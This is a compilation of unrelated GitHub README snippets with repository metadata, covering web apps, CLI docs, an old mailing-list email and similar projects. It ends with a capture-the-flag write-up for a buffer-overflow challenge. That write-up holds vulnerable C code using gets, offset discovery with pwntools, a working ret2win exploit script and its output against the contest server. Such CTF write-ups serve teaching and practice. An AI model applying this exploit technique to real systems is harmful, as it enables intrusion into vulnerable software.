Kaldi-ASR is licensed under Apache 2.0: https://github.com/kaldi-asr/kaldi/blob/master/COPYING

WeNet is also licensed under Apache 2.0: https://github.com/wenet-e2e/wenet/blob/main/LICENSE

repository: graphcore/examples

gha_language: Python

repo_name: graphcore/examples


text:
### Description

Determine if a sentence is a palindrome.

A palindrome is a word, number, phrase, or other sequence of characters which reads the same backward as forward, such as "madam" and "racecar".

### Example 1:

```
Input:  "too hot to hoot."
Output: true
```

### Example 2:

```
Input:  "hello world"
Output: false
```

gha_language: Go


text:
# Website - ReactJS

## About
> Project is made with JavaScript library, and it's fully responsive.
> The messagess from the contact form are send to the GraphQL API, as a JSON data type.
> Deployed on static server and published by Netlify. [Link page.](https://sitonchair-reactjs.netlify.com)
>
## Let's start
```
$ git clone https://github.com/patrikswiatek/Website-ReactJS

$ cd Website-ReactJS

$ npm i

$ npm start
```

## Documentation

  * #### [React](https://reactjs.org/docs/getting-started.html)
  * #### [Create React App](https://github.com/facebook/create-react-app)

## Languages and tools

#### HTML
- root

#### CSS

#### SCSS
- [Gulp](https://gulpjs.com)

#### JavaScript
- [React](http://facebook.github.io/react)

#### ECMA Script 6
#### IDE
- [WebStorm 2017.3.3](https://www.jetbrains.com/webstorm)

#### RWD

#### Webpack

#### [ GraphQL API](https://github.com/marmelab/json-graphql-server)

## License
* #### [MIT License](https://opensource.org/licenses/MIT)

repository: patrikswiatek/Website-ReactJS

repo_name: patrikswiatek/Website-ReactJS


text:
## `ern transform-container`

#### Description

* This command can be used to transform a local Container using a given Container transformer.

#### Syntax

`ern transformer-container`

**Options**

`--containerPath`

* The local file system path to the directory containing the Container to transform.
* **Default**  If this option is not provided, the command will look for a Container in the default platform directory `~/.ern/containergen/out/[platform]`.

`--platform/-p <android|ios>`

* Specify the native platform of the target Container to transform.
* This option is required, there is no default.

`--transformer/-t <transformer>`

* Specify the Container transformer to use (for ex `build-config`).
* A semantic version for the transformer can be specified (for ex<EMAIL_ADDRESS>or `build-config@^1.0.0`).
* It is also possible to pass a local file system path to a Container transformer package (only used for transformers development).
* This option is required, there is no default.

`--config/-c <config>`

* Extra configuration specific to the transformer used.
* Some transformers might not need an extra configuration. Check the specific Container transformer documentation for reference.
* The configuration is a json document.
* Configuration can either be a json string or the path to a file holding the configuration.

#### Related commands

[ern create-container] | Create a new Container (native or JavaScript only) locally to the workstation.
[ern publish-container] | Publish a Container.

[ern create-container]: ./create-container.md
[ern publish-container]: ./publish-container.md

repository: mandeep-singh-ck/electrode-native

repo_name: mandeep-singh-ck/electrode-native


text:
---
layout: default
---

# 1996-06-28 - my senate testimony

## Header Data

From: Matt Blaze<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: b7c7f22d9893259b2c53f9dbf97e132806f6b7b4be0a2e6b7607dfe4a4eec01d

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1996-06-28 00:48:32 UTC

Raw Date: Fri, 28 Jun 1996 08:48:32 +0800

## Raw message

```
{% raw  %}From: Matt Blaze<EMAIL_ADDRESS>Date: Fri, 28 Jun 1996 08:48:32 +0800
To<EMAIL_ADDRESS>Subject: my senate testimony
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

I sent a copy of my senate testimony here last night, discovered
that a bunch of lines were truncated, and (I thought) immedately sent out
a revised, corrected version.  The garbled version got forwarded to
a bunch of mailing lists, however, and now I'm getting dozens of
messages from people telling me about the truncated lines.

The corrected version can be found at
	ftp://research.att.com/dist/mab/testimony.txt
Please forward this version (or the URL) to anyone to whom you forwarded
the the garbled version.  Thanks.

-matt

{% endraw %}
```

## Thread

+ Return to [June 1996](/archive/1996/06)

+ Return to "[Matt Blaze <mab@research.att.com>](/authors/matt_blaze_mab_at_research_att_com_)"

+ 1996-06-28 (Fri, 28 Jun 1996 08:48:32 +0800) - my senate testimony - _Matt Blaze<EMAIL_ADDRESS>


text:
# Contacts

#### Address book to hold contact info.

#### By Sky Rousse and Patrick Lipscomb

## Description

A player will input name to create an object that will hold their name and their accumulated score. If player rolls 1 then turn changes. Goal is to reach 100 points.

## Support and contact details
If you have questions comments or concerns you can contact me at:
Sky<EMAIL_ADDRESS>
## Technologies Used

* Bootstrap
* JQuery
* JS
* CSS

### License

  Licensed under the _MIT_ License

Copyright (c) 2016 **Sky Rousse**

repository: SkyRousse/contacts

repo_name: SkyRousse/contacts


text:
# CarrierLink

CarrierLink is a routing engine for Yate (http://www.null.ro/yate.php).
It was written mainly in 2014 and uses the async/await task model to be as non-blocking as possible.

# How does it work?
CarrierLink connects to Yate via TCP and receives information about incoming calls (and other events) and finds the best route for a call. It then sends back routing information to Yate, so that Yate can route the VoIP call. It uses a PostgreSQL database as backend that holds customer, gateway, price, and other information and caches a lot of information locally to speed up routing. CarrierLink also does billing and simple load balancing.
CarrierLink unfortunately does not have a web interface which I am able to publish. Thus, it is difficult to manage all the configuration that resides in the database. In case someone is interested, feel free to get in touch with me.

## Web Frontend
Unfortunately I cannot publish a web frontend for CarrierLink.

## Technologies
- .NET Core 2.1 (originally written in .NET Framework 4.5, ported to .NET Core in 2017)
- Entity Framework
- Npgsql
- NLog

## Yate Simulator
In order to test CarrierLink, I also wrote a Yate simulator, which generates messages to feed CarrierLink.

## Performance
On an old AMD Phenom II X4 processor that I used in 2015 CarrierLink could easily handle 300 routing request per second (calls per second).
Average routing time was less than 5ms.

## Database
The database could easily grow a couple hundred megabytes per day and for the Call Data Records a new inherited table was automatically created every week to increase performance and simplify deletion of data by simply dropping the table.
Nowadays, usage of TimescaleDB (which was developed around the same time as CarrierLink) probably can bring additional performance advantages.

## Components
The following projects compose the main functionality.

### Engine
This project contains the routing engine as library. It is used in project 'Daemon' to run as a daemon and 'Yate' to connect to a Yate server. Several engines can be connected to the same Yate server for simple load balancing. In case load is too high in one Engine then messages are returned unhandled so that subsequently registered Engines would receive the unhandled messages and process them.
The Engine also has a simple REST Api that can be queried to retrieve live statistics.

### Yate
This project does the connection handling to Yate and the low level communication with the TCP socket. This library could also be used independently in other projects to connect to Yate.

### Yate.Scripts
This project contains two php scripts that can be loaded into Yate in order to receive load information in the Engine. The Engine uses this information to return messages when the load is too high in Yate so that Yate rejects taking the call.

repository: asymetrixs/CarrierLink

repo_name: asymetrixs/CarrierLink


text:
# `resolve-bus-memory`

This package is a driver for `resolve-bus` to emit events using memory.

## Usage

```js
import createDriver from 'resolve-bus-memory';

const driver = createDriver();
```

repository: alexey-semikozov/resolve

repo_name: alexey-semikozov/resolve


text:
## Photo

Small photo upload/download tool based on express.js

Requires MongoDB with database named 'photo_base'

### Install and run

- Install
```yaml
 npm install
 npm bin/www
```

- Access
```yaml
  localhost:5000

  localhost:5000/upload
```


text:
Please check the following:

- [ ] Whether this PR should include changes to any documentation, or the FAQ;
- [ ] All cobrand-specific commits start their commit message with the cobrand in square brackets;
- [ ] Is new functionality tested? CodeCov will warn you about the diff coverage, but won’t complain about e.g. new files;
- [ ] Are the changes tested for accessibility?
- [ ] Have you updated the changelog? If this is not necessary, put square brackets around this: skip changelog

Please check the contributing docs, and describe your pull request here.
Screenshots or GIF animations (using e.g. LICEcap) may be helpful.

Please include any issues that are fixed, using "fixes" or "closes" so that
they are auto-closed when the PR is merged.

Thanks for contributing!

repository: codeforcroatia/imamopravoznati-theme

repo_name: codeforcroatia/imamopravoznati-theme


text:
# infinitescroll-bug-reproduction-demo

Framework7/Vue Webpack app to demo Infinite Scroll bug on iOS

## Bug description

NOTE: this only happens in iOS when in an actual Cordova app or "Add to Homescreen".

When loading content into an infinite scroll from an async source like an API
call, the infinite scroll possibly has an incorrect height initially, so scrolling
isn't available.

Once another gesture is performed (presumably then reloading the scroll
container or page) scrolling again becomes possible.

# Bug reproduction steps using this repo

## Build Project

``` bash
# install dependencies
npm install

# build for production with minification
npm run build
```

## Create a cordova app

```bash
# create a blank app
cordova create infinitescroll

# use the built version of this app
rm infinitescroll/www

cp -r dist infinitescroll/www

cd infinitescroll

cordova platform add ios
```

## Run the app on iOS (the simulator is fine, usually)

```bash
cordova run ios
```

## Test the bug

When the app has lunched on the simulator, click the "About" link.

Once the placeholder content has finished loading, try scrolling down the page.

It should fail to scroll.

Now try beginning a "swipe to go back" gesture, but don't complete it and
remain on this page.

Now try scrolling the page.

It should scroll.


text:
# ExoPlayer Firebase JobDispatcher extension #

**DEPRECATED - Please use [WorkManager extension][] or [PlatformScheduler][] instead.**

This extension provides a Scheduler implementation which uses [Firebase JobDispatcher][].

[WorkManager extension]: https://github.com/google/ExoPlayer/blob/release-v2/extensions/workmanager/README.md
[PlatformScheduler]: https://github.com/google/ExoPlayer/blob/release-v2/library/core/src/main/java/com/google/android/exoplayer2/scheduler/PlatformScheduler.java
[Firebase JobDispatcher]: https://github.com/firebase/firebase-jobdispatcher-android

## Getting the extension ##

The easiest way to use the extension is to add it as a gradle dependency:

```gradle
implementation 'com.google.android.exoplayer:extension-jobdispatcher:2.X.X'
```

where `2.X.X` is the version, which must match the version of the ExoPlayer
library being used.

Alternatively, you can clone the ExoPlayer repository and depend on the module
locally. Instructions for doing this can be found in ExoPlayer's
[top level README][].

[top level README]: https://github.com/google/ExoPlayer/blob/release-v2/README.md

repository: amzn/exoplayer-amazon-port

gha_language: Java

repo_name: amzn/exoplayer-amazon-port


text:
<link rel="stylesheet" type="text/css" href="/assets/css/asciinema-player.css" />
<script src="/assets/js/asciinema-player.js"></script>

# Background Jobs

Some actions need to run continuously, such as running the API or syncing pipes in a loop. Rather than relying on `systemd` or `cron`, you can use the built-in jobs system.

All Meerschaum actions may be executed as background jobs by adding `-d` or `--daemon` flags or by prefacing the command with `start job`. A specific label may be assigned to a job with `--name`.

You can monitor the status of jobs with `show logs`, which will follow the logs of running jobs.

<asciinema-player src="/assets/casts/jobs.cast" autoplay="true" loop="true" size="small" preload="true"></asciinema-player>

repository: brendanblanchard/Meerschaum

repo_name: brendanblanchard/Meerschaum


text:
# Beer Explorer

Beer Explorer is a beer finder application using NodeJS, an Express Web Server & Router, Sequelize ORM, MySQL, and deployed using Heroku.

The full list of technologies are as follows:

* Axios
* Bcrypt-nodejs
* Body-parser
* BreweryDB API
* Brewerydb-node
* Browserify
* Chai
* CSS3
* Dotenv
* ExpressJS
* Font Awesome
* Heroku
* HTML5
* Karma
* Mocha
* MySQL
* NodeJS
* Passport
* Sequelize
* Sinon
* Supertest
* W3 Schools
* Watchify

# Features

The following features are included.

Built using an MVC architecture, Beer Explorer is wrapped -- from every REST endpoint in the UI to the DB -- in a secure user authentication provided by the NodeJS packages, BCrypt and Passport.

![](misc_extras/bf1.png)

User is prompted to sign up if they cannot sign-in.

![](misc_extras/bf2.png)

As the dashboard demonstrates, Beer Explorer allows user to search for beer in both a catalogue and a wheel randomizer. User can also create reviews on beer, as well as read, update, and delete previous beer ratings.

![](misc_extras/bf3.png)

I.  CATALOGUE

On pageload, a dropdown list appears and forces user input.

![](misc_extras/bf4.png)

The user selects from a list of popular beer types and submits their selection.

![](misc_extras/bf5.png)

After receiving response from the BreweryDB API, the user sees an appended list of buttons with brewery name and beer name on them. Each button is given a unique ID that corresponds with its ID in the BreweryDB API.

![](misc_extras/bf6.png)

On the click of the button, another call is made to the db, with the search parameter being that unique ID. The response is shown in a modal, and the user sees an image for the brewery that makes the beer, as well as a description of the beer.

![](misc_extras/bf7.png)

II. FEELING LUCKY

On pageload, a colorful wheel appears with a different popular beer types in each of the 8 different fractions of the wheel. On the left side of the wheel, a button allows the user to hit "SPIN" for the wheel.

![](misc_extras/bf8.png)

Once the wheel stops, there is an alert that suggests a beer type for a user to input into the catalogue.

![](misc_extras/bf9.png)

III. REVIEWS

On pageload, a form appears asking the user to input 7 different parameters:

* Beer Name
* Type
* Clarity
* Hue
* International Bitterness Units
* Bubble Size
* Head

![](misc_extras/bf10.png)

The 8th parameter is the user_rating.

![](misc_extras/bf11.png)

Both of these parameter groups write into the same database, beer_db, however, they write to separate parts of the db. Params 1-7 write to the Beers table whereas the user_rating writes to the Ratings table.

The user is forced to fill out all the parameter fields. On submit, both the beer info and the user rating populate to the List page, and are stored in the MySQL join table, Ratings.

IV. LIST

On pageload, the List has the full CRUD capabilities for user to: Create, Read, Update, and Delete their own beer ratings.

![](misc_extras/bf12.png)

This list is permanently stored to the mysql db for each individual user until the user decides to do a CRUD action to the data.

![](misc_extras/bf13.png)

User may select to sign out.

![](misc_extras/bf14.png)

=====================================================================================

I tested the authentication of this app using Karma/Mocha/Chai.

![](misc_extras/unit_test_expected_and_actual_users_are_equal.png)

repository: emmyzzang/BeerFinder

repo_name: emmyzzang/BeerFinder


text:
# How to build Triton in linux
Execute the following commands:
```
rm -rf build/
mkdir build
cd build
cmake -DCAPSTONE_INCLUDE_DIRS=../external-libs/includes/capstone-3.0.4-linux/include/ -DBoost_INCLUDE_DIR=../external-libs/includes/boost_1_60_0/ -DZ3_INCLUDE_DIRS=../external-libs/includes/z3-4.4.2-linux86/include/ -DSTATICLIB=on -DPYTHON_BINDINGS=off -DTARGET=ia32 ../../../../../Triton/
make
```

repository: kangaroo/Ponce

repo_name: kangaroo/Ponce


text:
<img src="imgs/pysketball_logo.JPG" width="200" height="75" align = "right">

# pysketball usage

![](https://github.com/UBC-MDS/pysketball/workflows/build/badge.svg) [![codecov](https://codecov.io/gh/UBC-MDS/pysketball/branch/master/graph/badge.svg)](https://codecov.io/gh/UBC-MDS/pysketball) ![Release](https://github.com/UBC-MDS/pysketball/workflows/Release/badge.svg)

[![Documentation Status](https://readthedocs.org/projects/pysketball/badge/?version=latest)](https://pysketball.readthedocs.io/en/latest/?badge=latest)

This package is designated for all NBA enthusiasts! This package works
to scrape online tabular data from ESPN NBA website into a csv file. It
also includes various functions to create graphs and statistical
analysis for your interest (such as boxplots, player rankings by stats,
and a summary statistics table).

An example of the ESPN NBA 2018/19 Regular season player stats can be
found in the following url:

https://www.espn.com/nba/stats/player/_/season/2019/seasontype/2

### Installation:

```
pip install -i https://test.pypi.org/simple/ pysketball
```

### Functions
- `nba_scraper`
  * Scrapes data from ESPN NBA data into a csv file. User can specify the year of the season
  (2016, 2017, etc) and the season type (regular or playoffs).

- `nba_boxplot`
  * Creates a boxplot of the categorical variable of interest on the y-axis and
   the stat of interest on the x-axis.

- `nba_ranking`
  * Generates a ranking and a visualization based on a column of a dataset

- `nba_team_stats`
  * Generate summary stats for NBA teams. The function provides descriptive statistics of NBA data for teams and player positions if specified.

### Documentation
The official documentation is currently in development and not available now. We estimate that it will be hosted on "Read the Docs" by end March 2020:

<https://pysketball.readthedocs.io/en/latest/>

### Dependencies

Before installing the package make sure your working environment complies with the following dependecies:

- Python 3.7

- Pandas 1.0.1 or higher. To install the lastest release of the package via conda-forge channels use:

```sh
conda install pandas
```
or via PyPI:

```sh
pip install --upgrade pandas
```

- Pytest 5.3.5 or higher. To install the lastest release of the package via conda-forge channels use:

```sh
conda install pytest
```

or via PyPI:

```sh
pip install --upgrade pytest
```

- Numpy 1.18.1 or higher. To install the lastest release of the package via conda-forge channels use:

```sh
conda install numpy
```

or via PyPI:

```sh
pip install --upgrade numpy
```

- Altair 4.0.1. To install this specific realese via conda-forge channels use:

```sh
conda install altair=4.0.1
```

or via PyPI:

```sh
pip install --upgrade altair==4.0.1
```

- Selenium 5.3.5 or higher. To install the lastest realese of this package via conda-forge channels use:

```sh
conda install selenium
```

- Request 2.23.0 or higher. To install the lastest realese of this package via conda-forge channels use:

```sh
conda install requests
```

or via PyPI:

```sh
pip install --upgrade requests
```

- Python-semantic-release 4.10.0 or higher. To install the lastest realese of this package via PyPI use:

```sh
pip install --upgrade python-semantic-release
```

### Usage and Testing Instructions/Requirements

The `pysketball` package uses the Selenium tool as part of its `nba_scraper` function. Thus, it is necessary to install a webdriver for Selenium's automated driver web browsing.

To streamline the package, the `nba_scraper` function has been configured to use `chromedriver`. Thus, please ensure that `chromedriver` is installed.

__Step 1: Chromedriver installation__

If you are using Linux, you can use the following command:
```sh
sudo apt-get install chromium-chromedriver
```

If you are using Mac/Apple, you can use the following command:
```sh
brew cask install chromedriver
```
For download installation, please download it from this [website](https://chromedriver.chromium.org/downloads).

After installing, you have to determine the location of the `chromedriver binary files.

```sh
whereis chromedriver
```

With that, add it to your PATH in your `.bashrc` file for Linux and Mac users.

```sh
export PATH="<PATH_TO_CHROMEDRIVER>:$PATH"
```

For Windows, please refer to this [article guide for instructions on adding PATH variables](https://helpdeskgeek.com/windows-10/add-windows-path-environment-variable/).

__Step 2A: Testing (with `poetry` and `pytest`)__

Ensure that you have `poetry` installed in your system. To install, please see the [`poetry` installation instructions](https://python-poetry.org/docs/#installation).

Please also ensure that an internet connection is available to perform testing.

Note that performing the tests will take about slightly under 10 minutes as some function tests perform actual scraping. Please be patient in the mean time!

When that is done, proceed to run the following code at the project repo root in Command line/Terminal.

```sh
poetry run pytest
```

To check for test coverage, proceed to run the following code at the project repo root in Command line/Terminal.

```sh
poetry run pytest --cov=pysketball tests/
```

__Step 2B: Usage of `nba_scraper`__

To use the `nba_scraper.nba_scraper` function, please also ensure that an internet connection is available to perform testing. Proceed to start Python and run the following code in Python:

```py
>>> from pysketball.nba_scraper import nba_scraper
>>> # Scrape regular season 2018/19 and return a dataframe while storing it as csv file called "nba_2018_regular.csv"
>>> nba_2018_regular = nba_scraper(season_year = 2018, season_type = "regular", csv_path = "nba_2018_regular.csv")
```

__Step 3: Usage of `nba_boxplot`, `nba_ranking` and `nba_team_stats`__

With the scraped data in the form of a `pandas.DataFrame` called `nba_2018_regular`, you can proceed to use the other functions in `pysketball`.

```py
>>> from pysketball.nba_boxplot import nba_boxplot
>>> from pysketball.nba_ranking import nba_ranking
>>> from pysketball.nba_team_stats import nba_team_stats
>>> # Scrape regular season 2018/19 and return a dataframe while storing it as csv file called "nba_2018_regular.csv"
>>> nba_boxplot(nba_2018_regular, position= 'POS', teams= None, stats= 'GP')
>>> nba_ranking(nba_2018_regular, 'NAME' , 'GP', top = 2, ascending = False, fun = 'mean')
>>> nba_team_stats.nba_team_stats(nba_2018_regular, stats_filter = ['GP', '3PM', 'FT%'],teams_filter = ['UTAH', 'PHX', 'DET'],positions_filter = ['C', 'PG'])
```

### Notes

For more context on the column names of the scraped data set, please refer to the [dataset description file](https://github.com/UBC-MDS/pysketball/blob/master/dataset_description.md). This will help the user better understand what columns are included in the scraped data, as well as they mean.

### Credits
This package was created with Cookiecutter and the UBC-MDS/cookiecutter-ubc-mds project template, modified from the [pyOpenSci/cookiecutter-pyopensci](https://github.com/pyOpenSci/cookiecutter-pyopensci) project template and the [audreyr/cookiecutter-pypackage](https://github.com/audreyr/cookiecutter-pypackage).

### Python Ecosystem

This `pysketball` package aims to further gain understanding of ESPN NBA data and does not have a specific fit to the Python ecosystem. There are currently some similar packages in Python such as [`nba_api`](https://pypi.org/project/nba-api/) which takes data from sources such as NBA, but we do not know of any that takes data from ESPN NBA.

repository: UBC-MDS/pysketball

repo_name: UBC-MDS/pysketball


text:
# DEPRECATED
This is now **DEPRECATED** in favor of [Android Super App](https://github.com/programadorthi/android-super-app).

# About
This project is a compilation of some best practices that I have found during my Android development career.

The behavior is to consume a public blockchain API and show the current value and a historical prices.
The result is cached in the SQLite to be used when there is no internet connection.

[The project presentation](https://docs.google.com/presentation/d/1_Hc7TCL_04joiN7NWEqpxtd5qCQVgPFU3WIPwVsWoao/edit#slide=id.p)

# Project structure
Explore the project branches and modules to see how it works. The project architecture is MVVM only.

### Branches description
| Branch | Description |
| ------------- | ------------- |
| [master](https://github.com/programadorthi/Anarchitecturetry) | Monolithic using RxJava. Same the develop |
| [develop](https://github.com/programadorthi/Anarchitecturetry/tree/develop) | Monolithic using RxJava and Dagger 2. |
| [develop-coroutines](https://github.com/programadorthi/Anarchitecturetry/tree/develop-coroutines) | Monolithic using Coroutines and Dagger 2. |
| [multi-module](https://github.com/programadorthi/Anarchitecturetry/tree/multi-module) | Multi-module dynamic-feature using RxJava and Koin. |
| [multi-module-coroutine](https://github.com/programadorthi/Anarchitecturetry/tree/multi-module-coroutines) | Multi-module dynamic-feature using Coroutines and Dagger 2. |

### Overview

The `app` module is the main entry point in all branches but in the `multi-module` the app module is a base feature to the `blockchain` module.

> `base` feature/module: It's a library with shared codes used in all other modules.

### Features organization

I have organized my code by feature. This avoid to share knowledge between feature without is required.
Below you see the package organization sample.

- **feature1**
  * `data` - Check internet connection, network request, API response mapper, database cache
  * `di` - Feature dependency injection configurations
  * `domain` - Business rules validations and data communications
  * `presentation` - UI state, UI formatted values
- **login** - A feature sample with other features and shared code between children features
  * `access` - An internal feature that is organized like feature1
  * `register` - An internal feature that is organized like feature1
  * `SharedCode.kt` - A code that is used in the login feature and its children features

# WARNING

- If you are beginning in Android or your project is below SDK 23, you should use `minSdkVersion`. `minSdkVersionDev` greater than or equals to 23 is for Android experts only!!!
- Instrumented unit tests not supported with dynamic features.

# Credits
  * [Blockchain](https://www.blockchain.com/) for the public Blockchain API

repository: programadorthi/Anarchitecturetry

repo_name: programadorthi/Anarchitecturetry


text:
Library usage examples
======================

Those examples should work, but they are mostly just a reference on how to
use different parts of the library.

To try to build and flash an example, first change the `MAIN` field in the Makefile
to it's name.

repository: BytecodeEli/avr-lib

repo_name: BytecodeEli/avr-lib


text:
---
title: "Cluster Tool"
keywords: cluster, architecture, orchestration, python
tags: [architecture]
sidebar: mydoc_sidebar
permalink: mydoc_cluster.html
---

## Cluster Tool

This Flink cluster tool, named `cf-flink`, helps with starting and
managing CodeFeedr pipelines.

The 8081 port of the Flink Job Manager needs to be open (or mapped to
another port).

Pipeline programs for a Flink cluster are to be JARs without any
external dependencies, but without Scala and the core Flink
dependencies. The codefeedr example project is correctly configured to
supply a JAR when running `sbt assembly`.

### Setting the Flink server

The tool accepts a `--host` parameter to set the Flink host. It is also
possible to use the `FLINK_HOST` environment variable. This environment
variable is overwritten by any supplied host. If no host configuration
is found, `localhost:8081` is used.

### Commands

Below a list of commands. When an argument is given with `<>` it is
mandatory.

 This commands uploads the JAR to
the Flink server to analyze it. The output contains a list of stages in
the pipeline. If any duplicate stage IDs exist it will throw an error.

`cf-flink pipeline info <jarfile>`

##### Example output
```
Found 4 stages in JAR:
org.codefeedr.plugins.github.stages.GitHubEventsInput
org.codefeedr.plugins.mongodb.stages.MongoOutput
org.codefeedr.plugins.github.stages.GitHubEventToPushEvent
org.codefeedr.plugins.elasticsearch.stages.ElasticSearchOutput
```

**Note.** If the jar size is big, it might take some time to upload to
the Flink cluster.

#### Starting a pipeline
Start a whole pipeline from the given JAR file. The stages need to have
unique IDs, otherwise an error will be thrown. Only non-running stages
will start.

`cf-flink pipeline start <jarfile>`

The JAR is uploaded to the Flink server, after which a list of stages is
retrieved. Then each stage will be started _if and only if_ not a job
with such stage name is already running.

#### Stopping a pipeline
Stops the whole pipeline from the given JAR file.

`cf-flink pipeline stop <jarfile>`

__Note:__ Any job with a stage ID corresponding to a stage inside the
JAR will be cancelled, even if it was started with another pipeline.

#### Starting a single stage
Start a single stage from the pipeline in the JAR. Useful when wanting
to run only a part of the pipeline.

Will not start the stage if it already running.

`cf-flink stage start <jarfile> <stageId>`

The `-s 5` optional parameter will set parallism of the job to 5.

#### Stopping a single stage
Stop any job with given stage ID attached. (See [Stopping a
pipeline](/mydoc_cluster.html#stopping-a-pipeline))

`cf-flink stage stop <jarfile> <stageId>`

#### Rescaling a single stage
Set the parallism of a given stage by stopping and starting the job with
the new scale.

`cf-flink stage rescale -s <scale> <jarfile> <stageId>`

#### Getting a list of all jobs
Get a list of all jobs on the Flink server. By default shows only the
jobs that are running.

`cf-flink jobs`

##### Arguments

To only print a list of JobIds (for automation), add `-q`.
To print also failed and completed jobs, add `-a`.

##### Example output

```
$ ./cf-flink.py jobs -a
JOBID					            STATUS		STAGE
35938dcf427054e6370fb4d0773e536b	cancelled	org.codefeedr.plugins.github.stages.GitHubEventsInput
a419ccd0c951b20cf68ce89a5497aa95	cancelled	org.codefeedr.plugins.github.stages.GitHubEventToPushEvent
945bb0eff271ec305a36f865bbe26d8a	cancelled	org.codefeedr.plugins.mongodb.stages.MongoOutput
d8f861ebf69e6b41afbbd8db5cfa19b4	running		org.codefeedr.plugin.twitter.stages.TwitterStatusInput
37f0b9fb2c5805c4be1e1c272f64eb58	running		org.codefeedr.plugins.elasticsearch.stages.ElasticSearchOutput
212fd6c7b01db8856fe8bf0be7dd8ae6	running		org.codefeedr.plugins.github.stages.GitHubEventsInput
2e8ad84d302c83a7579666e0fc58f3b9	running		org.codefeedr.plugins.github.stages.GitHubEventToPushEvent
5b53dadd9764de0db0bcbf2774144812	running		mongo_tweets
4adaf84ba632bfc5ab14565ed5fffdaf	running		elasticsearch_tweets
ce4c08231d4c99f60ecc8853c1a12922	running		org.codefeedr.plugins.mongodb.stages.MongoOutput
932adc63c03a871dfe4748c93537bb15	failed		org.codefeedr.plugins.elasticsearch.stages.ElasticSearchOutput
081239004221f4f18db23ac6eb42294f	failed		elasticsearch_tweets
```

#### Cancelling a job
Cancel a running job, without directly referencing a pipeline. Useful
when the JAR file is not known / near.

`cf-flink cancel <jobId>`

To get the jobId, run the `jobs` command.

#### Listing all programs on the flink server
List all programs (JARs) currently on the Flink server.

`cf-flink program list`

##### Example output

```
PROGRAMID                                                                           FILENAME                                    TIMESTAMP
83d235a8-b158-4323-a1d2-63bcde4fd836_Flink Project-assembly-0.1-SNAPSHOT.jar		Flink Project-assembly-0.1-SNAPSHOT.jar<PHONE_NUMBER>000
4979efc9-9828-4e2b-93f4-2ab0f788b1cc_Flink Project-assembly-0.1-SNAPSHOT.jar		Flink Project-assembly-0.1-SNAPSHOT.jar<PHONE_NUMBER>000
b6dfa03e-2226-4c08-bca9-dbaa92974b9c_twitter.jar		                            twitter.jar<PHONE_NUMBER>000
fa44221a-e04f-4d8d-8e7f-347737ae1793_twitter.jar		                            twitter.jar<PHONE_NUMBER>000
```

repository: codefeedr/codefeedr

branch_name: refs/heads/develop

gha_language: Scala

repo_name: codefeedr/codefeedr


text:
The game random generates an action amond *BOF*, *pull*, *twist* and *shout*. The first three actions use *getchar* to take user input, whilst the last one uses *gets* without limitation, so it read until '\0'. To win overflow *input*, then get to target *win_game*, which prints *flat.txt*.

```c
void win_game(){
	char buf[100];
	FILE* fptr = fopen("flag.txt", "r");
	fgets(buf, 100, fptr);
	printf("%s", buf);
}

int play_game(){
	CHAR C;
	char input[20];
	int choice;
	bool correct = true;
	int score = 0;
	srand(time(0));
	while(correct){
		choice = rand() % 4;
		switch(choice){
			case 0:
				printf("BOF it!\n");
				c = getchar();
				if(c != 'B') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 1:
				printf("Pull it!\n");
				c = getchar();
				if(c != 'P') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 2:
				printf("Twist it!\n");
				c = getchar();
				if(c != 'T') correct = false;
				while((c = getchar()) != '\n' && c != EOF);
				break;

			case 3:
				printf("Shout it!\n");
				gets(input);
				if(strlen(input) < 10) correct = false;
				break;
		}
		score++;
	}
	return score;
}
```

The padding can be found with *pwn.cyclic*, debug it with *r2*, input a 60 bytes cyclic string to overflow *input*, search address in *rip* with *pwn.cyclic_find* to get padding, which was 56 in this case. Tested several times the overflow happened at the next non-shout action after *shout*.

```bash
[0x7f5f8217b110]> dc
Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes
You'll have a second to respond to a series of commands
BOF it: Reply with a capital 'B'
Pull it: Reply with a capital 'P'
Twist it: Reply with a capital 'T'
Shout it: Reply with a string of at least 10 characters
BOF it to start!
BOF
Shout it!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Twist it!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
[+] SIGNAL 11 errno=0 addr=0x6161616f code=1 si_pid=1633771887 ret=0
```

```python
>>> pwn.cyclic(60)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'
>>> pwn.cyclic_find(0x6161616f)
56
```

Exploited as follow.

```
def exploit(remote):
    if remote:
        pr = pwn.connect(host, port)
    else:
        pr = pwn.process(target)

    try:
        elf = pwn.ELF(target)
        print('win_game @', hex(elf.sym['win_game']))
        pr.sendlineafter('BOF it to start!\n', 'BOF')

        payload = b'A'*56
        payload += pwn.p64(elf.sym['win_game'])
        shouted = False
        print(payload)

        while True:
            cmd = pr.readline()
            print(cmd)
            if b"Twist" in cmd:
                if shouted:
                    pr.send(payload)
                    pr.sendline()
                    print(pr.readall(2))
                else:
                    pr.sendline('T')
            elif b"Pull" in cmd:
                if shouted:
                    pr.send(payload)
                    pr.sendline()
                    print(pr.readall(2))
                else:
                    pr.sendline('P')
            elif b"BOF" in cmd:
                if shouted:
                    pr.send(payload)
                    pr.sendline()
                    print(pr.readall(2))
                else:
                    pr.sendline('B')
            elif b"Shout" in cmd:
                pr.send(payload)
                pr.sendline()
                shouted = True
    finally:
        pr.close()
exploit(True)
```

```bash
$ py3 explit.py
[+] Opening connection to umbccd.io on port 4100: Done
[*] '/home/zex/lab_ex/hacking-lab/dawgctf-2021/bofit/bofit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
win_game @ 0x401256
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x12@\x00\x00\x00\x00\x00'
b'BOF it!\n'
b'Shout it!\n'
b'Shout it!\n'
b'Twist it!\n'
[+] Receiving all data: Done (26B)
[*] Closed connection to umbccd.io port 4100
b'DawgCTF{n3w_h1gh_sc0r3!!}\n'
Traceback (most recent call last):
